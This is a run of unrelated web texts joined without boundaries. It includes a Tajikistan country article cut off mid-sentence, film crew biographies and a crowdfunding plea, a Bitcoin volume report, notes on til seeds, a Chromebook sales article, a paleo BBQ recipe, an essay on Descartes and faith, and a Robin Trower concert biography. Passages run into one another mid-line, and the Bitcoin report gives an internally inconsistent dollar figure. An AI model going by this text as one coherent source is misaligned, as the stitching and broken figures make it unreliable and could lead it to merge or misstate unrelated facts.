"Tojikiston" redirects here. For other uses, see Tojikiston (disambiguation)
Coordinates:
Landlocked republic in Central Asia
Tajikistan ( (), ; Tajik: Тоҷикистон [tɔdʒikisˈtɔn]), officially the Republic of Tajikistan (Tajik: Ҷумҳурии Тоҷикистон, Jumhuriyi Tojikiston), is a mountainous, landlocked country in Central Asia with an area of 143,100 km2 (55,300 sq mi) and an estimated population of 8.7 million people as of 2016. It is bordered by Afghanistan to the south, Uzbekistan to the west, Kyrgyzstan to the north, and China to the east. The traditional homelands of the Tajik people include present-day Tajikistan as well as parts of Afghanistan and Uzbekistan.
The territory that now constitutes Tajikistan was previously home to several ancient cultures, including the city of Sarazm[7] of the Neolithic and the Bronze Age, and was later home to kingdoms ruled by people of different faiths and cultures, including the Oxus civilisation, Andronovo culture, Buddhism, Nestorian Christianity, Zoroastrianism, Manichaeism and Islam. The area has been ruled by numerous empires and dynasties, including the Achaemenid Empire, Sasanian Empire, Hephthalite Empire, Samanid Empire, Mongol Empire, Timurid dynasty, the Russian Empire, and subsequently the Soviet Union. Within the Soviet Union, the country's modern borders were drawn when it was part of Uzbekistan as an autonomous republic before becoming a full-fledged Soviet republic in 1929.[citation needed]
On 9 September 1991, Tajikistan became an independent sovereign nation when the Soviet Union disintegrated. A civil war was fought almost immediately after independence, lasting from 1992 to 1997. Since the end of the war, newly established political stability and foreign aid have allowed the country's economy to grow. Like all other Central Asian neighbouring states, the country, led by President Emomali Rahmon since 1994, has been criticised by a number of non-governmental organizations for authoritarian leadership, lack of religious freedom, corruption and widespread violations of human rights.
Tajikistan is a presidential republic consisting of four provinces. Most of Tajikistan's 8.7 million people belong to the Tajik ethnic group, who speak Tajik (a dialect of Persian). Many Tajiks also speak Russian as their second language. While the state is constitutionally secular, Islam is practiced by 98% of the population. In the Gorno-Badakhshan Oblast of Tajikistan, despite its sparse population, there is large linguistic diversity where Rushani, Shughni, Ishkashimi, Wakhi and Tajik are some of the languages spoken. Mountains cover more than 90% of the country. It has a transition economy that is highly dependent on remittances, aluminium and cotton production. Tajikistan is a member of the United Nations, CIS, OSCE, OIC, ECO, SCO and CSTO as well as an NATO PfP partner.
Etymology [ edit ]
Tajikistan means the "Land of the Tajiks". The suffix "-stan" is Persian for "place of"[8] or "country"[9] and Tajik is, most likely, the name of a pre-Islamic (before the seventh century A.D.) tribe.[10] According to the Library of Congress's 1997 Country Study of Tajikistan, it is difficult to definitively state the origins of the word "Tajik" because the term is "embroiled in twentieth-century political disputes about whether Turkic or Iranian peoples were the original inhabitants of Central Asia."[10]
Tajikistan appeared as Tadjikistan or Tadzhikistan in English prior to 1991. This is due to a transliteration from the Russian: "Таджикистан". In Russian, there is no single letter j to represent the phoneme /ʤ/, and therefore дж, or dzh, is used. Tadzhikistan is the most common alternate spelling and is widely used in English literature derived from Russian sources.[11] "Tadjikistan" is the spelling in French and can occasionally be found in English language texts. The way of writing Tajikistan in the Perso-Arabic script is: تاجیکستان.
History [ edit ]
Early history [ edit ]
Cultures in the region have been dated back to at least the 4th millennium BCE, including the Bronze Age Bactria–Margiana Archaeological Complex, the Andronovo cultures and the pro-urban site of Sarazm, a UNESCO World Heritage site.[12]
The earliest recorded history of the region dates back to about 500 BCE when much, if not all, of modern Tajikistan was part of the Achaemenid Empire.[10] Some authors have also suggested that in the 7th and 6th century BCE parts of modern Tajikistan, including territories in the Zeravshan valley, formed part of Kambojas before it became part of the Achaemenid Empire.[13] After the region's conquest by Alexander the Great it became part of the Greco-Bactrian Kingdom, a successor state of Alexander's empire. Northern Tajikistan (the cities of Khujand and Panjakent) was part of Sogdia, a collection of city-states which was overrun by Scythians and Yuezhi nomadic tribes around 150 BCE. The Silk Road passed through the region and following the expedition of Chinese explorer Zhang Qian during the reign of Wudi (141–87 BCE) commercial relations between Han China and Sogdiana flourished.[14][15] Sogdians played a major role in facilitating trade and also worked in other capacities, as farmers, carpetweavers, glassmakers, and woodcarvers.[16]
The Kushan Empire, a collection of Yuezhi tribes, took control of the region in the first century CE and ruled until the 4th century CE during which time Buddhism, Nestorian Christianity, Zoroastrianism, and Manichaeism were all practised in the region.[17] Later the Hephthalite Empire, a collection of nomadic tribes, moved into the region and Arabs brought Islam in the early eighth century.[17] Central Asia continued in its role as a commercial crossroads, linking China, the steppes to the north, and the Islamic heartland.
Flag of Tajik SSR
19th-century painting of lake Zorkul and a local Tajik inhabitant
It was temporarily under the control of the Tibetan empire and Chinese from 650–680 and then under the control of the Umayyads in 710. The Samanid Empire, 819 to 999, restored Persian control of the region and enlarged the cities of Samarkand and Bukhara (both cities are today part of Uzbekistan) which became the cultural centres of Iran and the region was known as Khorasan. The Kara-Khanid Khanate conquered Transoxania (which corresponds approximately with modern-day Uzbekistan, Tajikistan, southern Kyrgyzstan and southwest Kazakhstan) and ruled between 999–1211.[18][19] Their arrival in Transoxania signalled a definitive shift from Iranian to Turkic predominance in Central Asia,[20] but gradually the Kara-khanids became assimilated into the Perso-Arab Muslim culture of the region.[21]
During Genghis Khan's invasion of Khwarezmia in the early 13th century the Mongol Empire took control over nearly all of Central Asia. In less than a century the Mongol Empire broke up and modern Tajikistan came under the rule of the Chagatai Khanate. Tamerlane created the Timurid dynasty and took control of the region in the 14th century.
Modern Tajikistan fell under the rule of the Khanate of Bukhara during the 16th century and with the empire's collapse in the 18th century it came under the rule of both the Emirate of Bukhara and Khanate of Kokand. The Emirate of Bukhara remained intact until the 20th century but during the 19th century, for the second time in world history, a European power (the Russian Empire) began to conquer parts of the region.
Russian Tajikistan [ edit ]
Russian Imperialism led to the Russian Empire's conquest of Central Asia during the late 19th century's Imperial Era. Between 1864 and 1885, Russia gradually took control of the entire territory of Russian Turkestan, the Tajikistan portion of which had been controlled by the Emirate of Bukhara and Khanate of Kokand. Russia was interested in gaining access to a supply of cotton and in the 1870s attempted to switch cultivation in the region from grain to cotton (a strategy later copied and expanded by the Soviets).[citation needed] By 1885 Tajikistan's territory was either ruled by the Russian Empire or its vassal state, the Emirate of Bukhara, nevertheless Tajiks felt little Russian influence.[citation needed]
During the late 19th century the Jadidists established themselves as an Islamic social movement throughout the region. Although the Jadidists were pro-modernization and not necessarily anti-Russian, the Russians viewed the movement as a threat.[citation needed] Russian troops were required to restore order during uprisings against the Khanate of Kokand between 1910 and 1913. Further violence occurred in July 1916 when demonstrators attacked Russian soldiers in Khujand over the threat of forced conscription during World War I. Despite Russian troops quickly bringing Khujand back under control, clashes continued throughout the year in various locations in Tajikistan.[citation needed]
Soviet Tajikistan [ edit ]
basmachi, 1921 Soviet negotiations with, 1921
After the Russian Revolution of 1917 guerrillas throughout Central Asia, known as basmachi, waged a war against Bolshevik armies in a futile attempt to maintain independence. The Bolsheviks prevailed after a four-year war, in which mosques and villages were burned down and the population heavily suppressed. Soviet authorities started a campaign of secularisation. Practising Islam, Judaism, and Christianity was discouraged and repressed, and many mosques, churches, and synagogues were closed.[22] As a consequence of the conflict and Soviet agriculture policies, Central Asia, Tajikistan included, suffered a famine that claimed many lives.[23]
In 1924, the Tajik Autonomous Soviet Socialist Republic was created as a part of Uzbekistan, but in 1929 the Tajik Soviet Socialist Republic (Tajik SSR) was made a separate constituent republic; however, the predominantly ethnic Tajik cities of Samarkand and Bukhara remained in the Uzbek SSR. Between 1927 and 1934, collectivisation of agriculture and a rapid expansion of cotton production took place, especially in the southern region.[24] Soviet collectivisation policy brought violence against peasants and forced resettlement occurred throughout Tajikistan. Consequently, some peasants fought collectivisation and revived the Basmachi movement. Some small scale industrial development also occurred during this time along with the expansion of irrigation infrastructure.[24]
Two rounds of Soviet purges directed by Moscow (1927–1934 and 1937–1938) resulted in the expulsion of nearly 10,000 people, from all levels of the Communist Party of Tajikistan.[25] Ethnic Russians were sent in to replace those expelled and subsequently Russians dominated party positions at all levels, including the top position of first secretary.[25] Between 1926 and 1959 the proportion of Russians among Tajikistan's population grew from less than 1% to 13%.[26] Bobojon Ghafurov, Tajikistan's First Secretary of the Communist Party of Tajikistan from 1946–1956 was the only Tajikistani politician of significance outside of the country during the Soviet Era.[27] He was followed in office by Tursun Uljabayev (1956–61), Jabbor Rasulov (1961–1982), and Rahmon Nabiyev (1982–1985, 1991–1992).
Tajiks began to be conscripted into the Soviet Army in 1939 and during World War II around 260,000 Tajik citizens fought against Germany, Finland and Japan. Between 60,000 (4%)[28] and 120,000 (8%)[29] of Tajikistan's 1,530,000 citizens were killed during World War II.[30] Following the war and Stalin's reign attempts were made to further expand the agriculture and industry of Tajikistan.[27] During 1957–58 Nikita Khrushchev's Virgin Lands Campaign focused attention on Tajikistan, where living conditions, education and industry lagged behind the other Soviet Republics.[27] In the 1980s, Tajikistan had the lowest household saving rate in the USSR,[31] the lowest percentage of households in the two top per capita income groups,[32] and the lowest rate of university graduates per 1000 people.[33] By the late 1980s Tajik nationalists were calling for increased rights. Real disturbances did not occur within the republic until 1990. The following year, the Soviet Union collapsed, and Tajikistan declared its independence on 9 September 1991, a day which is now celebrated as the country's Independence Day.[34]
Tajik men and women rally on Ozodi square in Dushanbe shortly after independence, 1992.
Independence [ edit ]
The nation almost immediately fell into civil war that involved various factions fighting one another; these factions were often distinguished by clan loyalties.[35] More than 500,000 residents fled during this time because of persecution, increased poverty and better economic opportunities in the West or in other former Soviet republics.[36] Emomali Rahmon came to power in 1992, defeating former prime minister Abdumalik Abdullajanov in a November presidential election with 58% of the vote.[37] The elections took place shortly after the end of the war, and Tajikistan was in a state of complete devastation. The estimated dead numbered over 100,000. Around 1.2 million people were refugees inside and outside of the country.[35] In 1997, a ceasefire was reached between Rahmon and opposition parties under the guidance of Gerd D. Merrem, Special Representative to the Secretary General, a result widely praised as a successful United Nations peacekeeping initiative. The ceasefire guaranteed 30% of ministerial positions would go to the opposition.[38] Elections were held in 1999, though they were criticised by opposition parties and foreign observers as unfair and Rahmon was re-elected with 98% of the vote. Elections in 2006 were again won by Rahmon (with 79% of the vote) and he began his third term in office. Several opposition parties boycotted the 2006 election and the Organization for Security and Cooperation in Europe (OSCE) criticised it, although observers from the Commonwealth of Independent States claimed the elections were legal and transparent.[39][40] Rahmon's administration came under further criticism from the OSCE in October 2010 for its censorship and repression of the media. The OSCE claimed that the Tajik Government censored Tajik and foreign websites and instituted tax inspections on independent printing houses that led to the cessation of printing activities for a number of independent newspapers.[41]
Russian border troops were stationed along the Tajik–Afghan border until summer 2005. Since the September 11, 2001 attacks, French troops have been stationed at the Dushanbe Airport in support of air operations of NATO's International Security Assistance Force in Afghanistan. United States Army and Marine Corps personnel periodically visit Tajikistan to conduct joint training missions of up to several weeks duration. The Government of India rebuilt the Ayni Air Base, a military airport located 15 km southwest of Dushanbe, at a cost of $70 million, completing the repairs in September 2010.[42] It is now the main base of the Tajikistan air force. There have been talks with Russia concerning use of the Ayni facility,[43] and Russia continues to maintain a large base on the outskirts of Dushanbe.[44]
In 2010, there were concerns among Tajik officials that Islamic militarism in the east of the country was on the rise following the escape of 25 militants from a Tajik prison in August, an ambush that killed 28 Tajik soldiers in the Rasht Valley in September,[45] and another ambush in the valley in October that killed 30 soldiers,[46] followed by fighting outside Gharm that left 3 militants dead. To date the country's Interior Ministry asserts that the central government maintains full control over the country's east, and the military operation in the Rasht Valley was concluded in November 2010.[47] However, fighting erupted again in July 2012.[48] In 2015, Russia sent more troops to Tajikistan.[49]
In May 2015, Tajikistan's national security suffered a serious setback when Colonel Gulmurod Khalimov, commander of the special-purpose police unit (OMON) of the Interior Ministry, defected to the Islamic State.[50]
Politics [ edit ]
The Palace of Nations in Dushanbe
Almost immediately after independence, Tajikistan was plunged into a civil war that saw various factions, allegedly[according to whom?] backed by Russia and Iran,[citation needed] fighting one another. All but 25,000 of the more than 400,000 ethnic Russians, who were mostly employed in industry, fled to Russia. By 1997, the war had cooled down, and a central government began to take form, with peaceful elections in 1999.
"Longtime observers of Tajikistan often characterize the country as profoundly averse to risk and skeptical of promises of reform, a political passivity they trace to the country’s ruinous civil war," Ilan Greenberg wrote in a news article in The New York Times just before the country's November 2006 presidential election.[51]
Tajikistan is officially a republic, and holds elections for the presidency and parliament, operating under a presidential system. It is, however, a dominant-party system, where the People's Democratic Party of Tajikistan routinely has a vast majority in Parliament. Emomali Rahmon has held the office of President of Tajikistan continually since November 1994. The Prime Minister is Kokhir Rasulzoda, the First Deputy Prime Minister is Matlubkhon Davlatov and the two Deputy Prime Ministers are Murodali Alimardon and Ruqiya Qurbanova.
The parliamentary elections of 2005 aroused many accusations from opposition parties and international observers that President Emomalii Rahmon corruptly manipulates the election process and unemployment. The most recent elections, in February 2010, saw the ruling PDPT lose four seats in Parliament, yet still maintain a comfortable majority. The Organization for Security and Co-operation in Europe election observers said the 2010 polling "failed to meet many key OSCE commitments" and that "these elections failed on many basic democratic standards."[52][53] The government insisted that only minor violations had occurred, which would not affect the will of the Tajik people.[52][53]
The presidential election held on 6 November 2006 was boycotted by "mainline" opposition parties, including the 23,000-member Islamic Renaissance Party. Four remaining opponents "all but endorsed the incumbent", Rahmon.[51] Tajikistan gave Iran its support in Iran's membership bid to join the Shanghai Cooperation Organisation, after a meeting between the Tajik President and the Iranian foreign minister.[54]
Freedom of the press is ostensibly officially guaranteed by the government, but independent press outlets remain restricted, as does a substantial amount of web content. According to the Institute for War & Peace Reporting, access is blocked to local and foreign websites including avesta.tj, Tjknews.com, ferghana.ru, centrasia.org and journalists are often obstructed from reporting on controversial events. In practice, no public criticism of the regime is tolerated and all direct protest is severely suppressed and does not receive coverage in the local media.[55]
Geography [ edit ]
Satellite photograph of Tajikistan
Tajikistan map of Köppen climate classification
Tajikistan is landlocked, and is the smallest nation in Central Asia by area. It lies mostly between latitudes 36° and 41° N, and longitudes 67° and 75° E. It is covered by mountains of the Pamir range, and more than fifty percent of the country is over 3,000 metres (9,800 ft) above sea level. The only major areas of lower land are in the north (part of the Fergana Valley), and in the southern Kofarnihon and Vakhsh river valleys, which form the Amu Darya. Dushanbe is located on the southern slopes above the Kofarnihon valley.
The Amu Darya and Panj rivers mark the border with Afghanistan, and the glaciers in Tajikistan's mountains are the major source of runoff for the Aral Sea. There are over 900 rivers in Tajikistan longer than 10 kilometres.
Administrative divisions [ edit ]
Mountains of Tajikistan
Tajikistan consists of 4 administrative divisions. These are the provinces (viloyat) of Sughd and Khatlon, the autonomous province of Gorno-Badakhshan |
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DAVID MEYER (Production Design) is excited to be designing this feature. He is currently working as an Assistant Art Director on the next Martin Scorsese film, THE WOLF OF WALL STREET, starring Leonardo DiCaprio. David's recent film projects include working as a Set Designer and Model Maker for the upcoming Will Smith film, AFTER EARTH (summer 2013), Art Department Assistant on MEN IN BLACK 3 and the Production Designer of the short film LOVE, LOT'S OF IT starring Campbell Scott (official selection for Tribeca Film Festival 2011). Television projects include set designing this past summer's USA network show POLITICAL ANIMALS and season 1 of SMASH. David has also production designed commercials for Kenneth Cole and Vita Coco. He received an MFA in Design for Stage and Film from NYU in 2010.
Norwegian by heritage and New Yorker by choice, ANDREA SUNDT (Costume Design) graduated from Esmod Paris in 2007, with a degree in Costume Design. She won Guerlain’s Best Costume Award for her exam piece and designed the first clothing line for the computer game SIMS2 (collaboration between EAgames Norway and Esmod Oslo, 2006.) Andrea has worked with costumes at the National Theater in Norway on numerous productions, as well as on several films in Europe, most recently feature films NORWEGIAN NINJA, winner of Best Director and Best Actor awards at Fantastic Fest 2010, and I TRAVEL ALONE. Adding a new dimension to her love for texture, Andrea has recently begun to work with paint, prints and sculpture.
SIMON TAUFIQUE (Composer/Producer) is an award-winning Film Composer, Sundance Lab Finalist and Producer. He has garnered press from Variety, The Hollywood Reporter and IndieWire for his work with accomplished filmmakers Mary Harron (AMERICAN PSYCHO), Independent Spirit Award nominee Hossein Keshavarz (DOG SWEAT) and Student Academy Award winner Dennis Lee (JESUS HENRY CHRIST). He has also scored the films of cutting edge filmmakers Chadd Harbold, Caryn Waechter, Suzie Yoonessi, Marilyn Fu, Daniel Ragussis and Francisco Ordonez. In addition to his early collaborations with M. Night Shyamalan (THE SIXTH SENSE), Simon has composed music with renowned film composer and instrumentalist David Torn (LARS & THE REAL GIRL) and will be co-scoring a new film with rock icon, Julian Casablancas (singer of multi-platinum group, THE STROKES). Some of Simon’s upcoming film projects are INFINITY GUYS, produced by Shruti Ganguly (TAR) and ASHER, starring Danny Glover, Mekhi Phifer, and Ray Liotta.
OTHER WAYS YOU CAN HELP
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Tell them about us. Send them the link to this campaign. Use the SHARE tools underneath the video.
_____________________________________________________________Bitcoin is breaking all sorts of records this week.
Not only did the price move quickly beyond $1400 (which is now sitting over $1600) and reach $24 billion in market capitalization (which is now over $25 billion), but it just blew right past $200 million in Bitcoin exchange trading volume today.
Pictured above is the total Bitcoin exchange trading volume calculated in U.S. Dollars. The chart shows the total volume across all major Bitcoin exchanges, which is currently $209,588,816 million.
Today with the price spike and huge influx of buyers and sellers it pushed the total amount traded across all exchanges to new record highs.
There are several exchanges leading the price rally in terms of trading volume, such as Bitfinex, GDAX, Bitstamp, BTC-e, and Gemini.
The reason for the spike in the price isn’t entirely clear at this time, but we did run through many of the possible reasons on why the Bitcoin price is rising here.Til ( pronounced as th-ill) seeds are tiny, cream colored and shaped like tear drops. They have a mildly nutty flavor which is further enhanced when the seeds are roasted. Til seeds have a unique and distinctive smell when used in cooking—when the seeds are fried or sesame oil is used in a dish.
Buying It
Til is mostly sold in seed form since it is rarely if ever, used as a powder in Indian cooking. Til or Sesame oil was very popular before the advent of peanut oil in India. If you ever require the powdered form, it is advisable to buy the seeds and grind them at home as required. When buying til, look for plump seeds that do not leave an oily residue on your fingers if handled. 'Fresh' good quality til seeds must not smell oily or rancid.
Using It
Til is not only used as part of spice mixes, it is also a stand-alone ingredient in many dishes—savory and sweet! Til oil is a popular cooking medium in some Indian states. Til is also used in Tadka or Tempering—a cooking method in which cooking oil is heated till very hot and whole spices are added to it and fried. This oil and spice mix are then added as a final touch or garnish to the dish. According to Ayurveda, til is thought to be a heat producing food. Foods made from or containing til are therefore recommended to be eaten during cold months.
Interesting FactsGoogle Chromebooks(s goog), not Microsoft Windows 8(s msft) computers, are selling well for Acer. In a weekend report, Bloomberg noted that Chromebooks account for between 5 and 10 percent of Acer’s recent shipments to the US; an interesting data point considering the timing. Microsoft’s Windows 8, hoping to re-ignite the PC market, launched in late October, or just about the same time Acer began selling Chromebooks.
Acer’s president, Jim Wong, has been one of the most vocal critics of Microsoft’s partners of late, first announcing disappointment in Microsoft’s decision to launch its own Surface computers and now suggesting that Windows 8 “is still not successful.” For its part, Microsoft has turned the finger-pointing back at PC makers, with The Register reporting last week that Microsoft feels partners didn’t build enough attractive Windows 8 tablets for the 2012 holiday season.
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Blame game aside, the numbers are telling. This month, Microsoft announced sales of 60 million Windows 8 license sales, but that figure includes sales to hardware makers for new PCs that may not have been sold yet. And the overall PC market is down in terms of sales. In the final quarter of 2012, the industry experienced a decline of 6.4 percentage points over the year ago quarter.
A few reasons explain the sales decline. For starters, consumers and businesses may be holding on their older computers longer; unless you have a budget PC from a few years ago, you can very likely upgrade to Windows 8 or simply keep using Windows 7 for now.
Cheaper options for PC-like tasks are available as well: Smartphones to some degree and tablets to a much larger extent can handle many activities once reserved for computers. Plus, you can remotely connect to and use a computer from these tablets if needed.
The popularity of Google’s Chromebook is another example of less need for a traditional computer. It’s clearly not a full computer replacement but after using one since June of last year, it fits nearly all of my needs, for example. So much of today’s computing activities take place in a browser that the Chromebook can be a secondary device allowing an old computer to suffice for more resource intensive tasks or apps.
Ironically, Acer’s Chromebook entries are simply low-priced Windows laptops repurposed for Google’s Chrome OS. That cuts out any licensing fees to Microsoft, which if the market for Chromebooks grows, can hurt the company down the line. No Windows also means no Office; essentially a double whammy for Microsoft revenues if Acer’s Chromebooks become a hot seller. Samsung sells both Windows 8 computers as well as Chromebooks and it appears HP (s hpq) is entering this non-Microsoft market too.
Don’t think Acer is divorcing Microsoft, however. The company still builds Windows devices and surely makes the bulk of its PC division revenues from these.
In fact, I just received a Windows 8 tablet review unit from Acer — the Intel Atom-based (s intc) W510 — and my initial impressions are mostly positive. The $599 tablet offers the benefits of touch when desired plus full Windows compatibility and an optional keyboard dock: A handy combination. But if that’s too much money for you, Acer’s Chromebooks start at a low $199; a price that will command more attention than any Windows 8 laptop on the market.One flavour that we’ve struggled to get exactly right is BBQ. When we google BBQ sauces it seems there’s an endless list of ingredients that create the perfect BBQ sauce… and to tell you the truth? Ain’t nobody got time for that! The day will come when we tick off ‘create our own paleo BBQ sauce’ and we’ll share it with you for sure, but in the meantime we’re excited to have found a paleo friendly bottled variety! Yay! And it’s really good! In fact, we’ve been dressing lots of meals with this sauce: salads, stir frys, meat marinades you name it.
What exactly is it? The BBQ sauce is made from coconut blossom nectar (this is from the coconut palm, harvesters climb the tree, bind new flower buds together, slice the end off and collect the sweet dripping sap!), garlic and sea salt. The nectar is naturally sweet (with just 1g of sugar per 100mL), has a low GI of 35, contains 17 amino acids as well as Vitamin B and C! The Niulife variety is also 100% certified organic! Thank you, we’ll take 10 bottles!
You can read more about the BBQ sauce and coconut nectar here.
Just one of the many meals we’ve created using our new found love is this quick and easy paleo BBQ pork with zoodles. It’s super yum and sure to please most taste buds! If pork isn’t your thing, swap for your favourite meat or ramp up the amount of veggies!
What other meals should we make using this paleo friendly BBQ sauce? Maybe ribs? Yum, ribs.
Always merrymaking,
Emma + Carla
paleo BBQ pork with zoodles. 2014-07-06 07:32:09 Serves 4 Save Recipe Print Prep Time 20 min Cook Time 15 min Total Time 35 min Prep Time 20 min Cook Time 15 min Total Time 35 min stuff you need 500g pork mince (you can use all kinds of mince) 400g button mushrooms sliced 3 zucchinis peeled lengthways 4 shallots chopped handful of fresh coriander chopped (or your favourite herb) 3 tbs. Niulife BBQ sauce 1 tbs. dried chilli flakes 1 tbs. coconut oil now what In a large fry pan on high heat, melt the coconut oil. Add the shallots, chilli and stir fry for a couple of minutes. Add the pork mince and fry for about 4 minutes or until cooked through. Stir through the mushrooms and zucchini noodles, it's best to use tongs. Add the Niulife BBQ sauce and coriander and give it one last stir. Season with salt and pepper and a little extra chilli flakes. By The Merrymaker Sisters The Merrymaker Sisters | Yoga. Pilates. Mindset. https://themerrymakersisters.com/
Buy Niulife BBQ sauce online!René Descartes has been called the first modern philosopher, a turning-point in how we think of ourselves and our world. His famous principle was “I think, therefore I am.” He wanted to find a sure foundation for all available human knowledge. Anxious to please the Jesuit academy he admired, he even proved God – all based on the reality of thinking, the idea that one cannot even doubt without proving, thereby, the reality of the person doubting. The mind is always true and, as a foundation and criterion for truth, is transcendent.
We’ve inherited his legacy, of course. As a child, I used to say ‘prove it’ whenever someone said something that annoyed me, and then replied ‘prove it’ to their proof, until at last whoever it was (usually my mother) would be exasperated enough to stop proving. But proof’s what we want; certainty’s what we thrive on. We may not think we can prove God, but we do think we can come close to proving the Resurrection, the reality of miracles, even what habits will form the best life. Inherent in this deductive, this knowledge-focused transcendent ‘I’, is the idea that our own ability to perceive things is the criterion of truth; truth is defined as the non-falsifiable or evidentially probable, etc. This way of looking at the world carries with it a disregard for psychology, literature or any other open-ended branch of knowledge – we want to deduce everything, to know it and be done with it. The rise of sociology as the scientific study of study aims to give definite form to the humanities, to subsume them into the controllable.
In the contemporary Church, this tendency shows itself in the temptation to interpret the Bible exhaustively, using the lexicon and concordance to prove the most ‘right’ inflection of a text. Of course, biblical texts often do lend themselves to this, but other modes of interpretation are better for some genres. Think of Revelation: we match notes up with Daniel, work out the meaning of the different trumpet and bowl judgments, debate pre- and post- and a- millennialisms or chiliasms. We want to work knowledge out and hold it in our hand; in this the Christian Church has given itself over to the worst of the modern bias toward science (i.e., proof, deduction) far more surely than in the embrace of evolution or any other ‘topic.’ The damage the scientific worldview has done to religion rests in its methodology, not its content. The early church read Revelation, or rather listened to it, as a letter to be read aloud cover-to-cover in church; the literary imagination, not meticulous deduction, was the tool for engaging it.
The need to work out and accumulate certain, unchanging, fixable knowledge is itself a form of law, exhibiting all the common psychological impulses in our obsession with self-justification: the denial of death by fixing ourselves to something permanent; the need for control because it is beneath us, dependent on our perception; the desire to return to Eden prematurely by circumventing the ‘futility in their thinking’ asserted by Paul. It’s not putting knowledge in the place of God that’s idolatry; it’s drawing religion down into the realm of the knowable, the predictable and manageable. In terms of the fallout, the problem isn’t so much that we develop bad hermeneutics (though it is that), but rather that the weight of self becomes too much to bear; it’s one more place where religion turns into self-justification, the burden of which “is intolerable.”
There’s another place I see this as particularly harmful: worship. I still subconsciously try to evoke certain emotional states in myself during worship; I crave a feeling of unity with God when I take communion. Like Descartes, the value of things can only be affirmed by their reference to the indubitable ‘I’. So I want to observe myself becoming more virtuous, more sanctified; want to feel myself united with God in worship. These results are of course a wonderful gift when given; but a source of Law nonetheless – they make us ask what we can do better to achieve these things. Performancism, again: predicated on what we can see, feel, know and, therefore, control. In the impasse, though; in suffering, we may be in the dark, powerless to manage or predict. It’s only when we realize the ‘I’ is in fact the least certain, the most unreliable thing – and that this alone represents the possibility for its redemption – that the world looks more like gift, less like achievement. Any attempt to achieve even spiritual passivity and receptivity is the death-throes, the frantic desperation to survive, of the Old Adam. This openness, the submersion of the self, only comes in flashes, and must happen to us – anything else would be a contradiction. Thank God that it does happen, and is always (only) given freely.Robin Trower
Robin Trower: The Man. The Guitar. The Legend
4/29/2017 → 8 to 9:30 pm ← Doors: 7 pm ~ All Ages Welcome
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The Robin Trower story started in the mid Sixties when he began his recording career in the Southend rhythm and blues band The Paramounts. But the first time Trower pinged on rock’n’roll’s radar was in 1967, with Procol Harum – house band of the Summer of Love. Though he did not play on their mega-hit ‘A Whiter Shade Of Pale’, he completed five albums and many tours with them before breaking away for a solo career in 1971.
Robin admits that ‘the big break for me was Gary Brooker getting me to join Procol. That opened up the whole world. Without that I would never been able to go on and do what I’ve done.’ He rates leaving PH ‘the best career decision I ever made’
Trower modeled his own band on the power-trio blueprint of Cream and Taste, and, of course, the Jimi Hendrix Experience. His atmospheric, effects-laden Stratocastering brought inevitable initial comparisons with Hendrix, but he quickly made his own mark. Robin along with the vocal talents of James Dewar, a hard-living Scot, whose voice will always be associated with the Robin Trower Band proved to be a musical powerhouse.
Robin soon found himself outselling Procol by a considerable factor as he tuned in to the heavier zeitgeist of a new decade, his second album, ‘Bridge Of Sighs’ reached the Top 10 in the States. This collection of songs is in every budding guitarslinger’s reference library, and has Influenced a generation of musicians.
The success of Bridge of Sighs gave Robin the freedom to explore his musical limits. “In City Dreams” and “Caravan to Midnight” (both produced by Don Davis) demonstrated Robin’s maturing song writing abilities and strong connection to the Blues.
As punk and new wave attempted to redefine the musical landscape, Robin’s distinctive style of playing retained a sizeable live following in the United States. Radio, however was listening in another direction. In the late eighties, Trower’s recorded output became more sporadic. And in 1984 he split from long-time label Chrysalis Records.
In the Nineties, a brief reunion with Procol Harum gave Trower breathing space to reassess the direction of his solo career. He was now, he concluded, aiming to fulfill himself musically rather than sell tonnage. ‘For the past ten years I’ve just been making albums for my own heart,’ he recalled to this author in 2001. ‘The great joy of having my own label (V12 Records, owned jointly with manager Derek Sutton) is that you haven’t got to make music to please some guy behind a desk. You can please yourself and make the music you want’…
Robin Trower starts his own Label, V12
The first V12 album ‘20th Century Blues’ appeared in 1994 and saw him backed by drummer Mayuyu and bass player/vocalist Livingston Brown. As the decade progressed, Robin decided to take on a share of the lead vocals. ‘I thought to myself there aren’t any blues artists that aren’t singers…I thought I’d give it a go. When you write songs, you’re always gonna get a twist put onto them by whoever sings them. When you sing it yourself it tends to come out how you heard it in your head when you wrote it.’
With his stock still high among his fellow performers thanks to albums like 1997’s ‘Someday Blues’, the late Nineties saw him hooking up with Roxy Music’s Bryan Ferry for two albums, ‘Taxi’ and ‘Mamouna’, plus a European tour. It was a rare chance for European fans to see him live as, at this point, he was still concentrating on gigging in the States.
2000’s ‘Go My Way’ saw Trower sharing the spotlight with bassist/vocalist Richard Watts. As Robin later explained, ‘Go My Way’ was an album he rated highly. ‘It’s really where I live, that kind of blues; slightly spacey…I just like it. I like some of the other areas as well, but that’s my hometown.’
In 2002 Robin ran into Davey Pattison at Jimmy Dewar’s funeral. The chance meeting led to ‘Living Out Of Time’, released in 2003. It also featured Dave Bronze on bass and Pete Thompson on drums, a rhythm section he’d worked with many years earlier. So this was ’back to the future’…but with a difference. Young blues guitarist Eric Gales had supported Robin on a previous American tour and so impressed Trower that he wrote some songs for him. Robin and Eric never did have the chance to collaborate on recording them, but those songs formed the basis for “Living out of Time”.
2005 brought ‘Another Day’s Blues’, After this, Robin and legendary Scots rocker Jack Bruce got together to discuss remixing two of their Eighties collaborations for future reissue, but soon realized it would be more interesting to make it a hat-trick by recording a new album. The first meeting took place in February 2006. Robin and Jack’s joint venture, ‘Seven Moons’ was revealed to the public almost two years later.
Recorded in trio format with drummer Gary Husband, the result combined their talents more satisfactorily than its predecessors. ‘The main thing that changed,’ Trower confirmed, ‘is that we co-wrote all the music on this record. Before, we each brought our own songs, but now I write the lyrics and Jack and I do the music together; I think it’s a much better gel.’ He still regards Bruce as ‘one of my heroes from the Sixties.’ ‘By adding what he does, he makes the song into something much, much larger. All those dimensions are added compositionally just by him playing bass and putting the vocal melody to it.’
The next two albums were 2009’s ‘What Lies Beneath’, and 2010’s ‘The Playful Heart’. Both proof that Robin Trower still has the wherewithal to rock the world. Livingston Brown had heavy input into both records, and the latter disc – recorded with the road band of bassist Glenn Letsch, Pete Thompson and Davey Pattison – was particularly satisfying. The vibe is more contemplative than the power-rock of his early years, still the quality and passion is present in every single note.
The 2012 set “Roots and Branches” is a revelation, a mix of covers – the roots – and new material – the branches. The entire set is tribute to an artist still growing in power and dexterity, but most of all in emotional expressiveness. The CD garnered praise from both sides of the Atlantic as the many rave reviews attest.
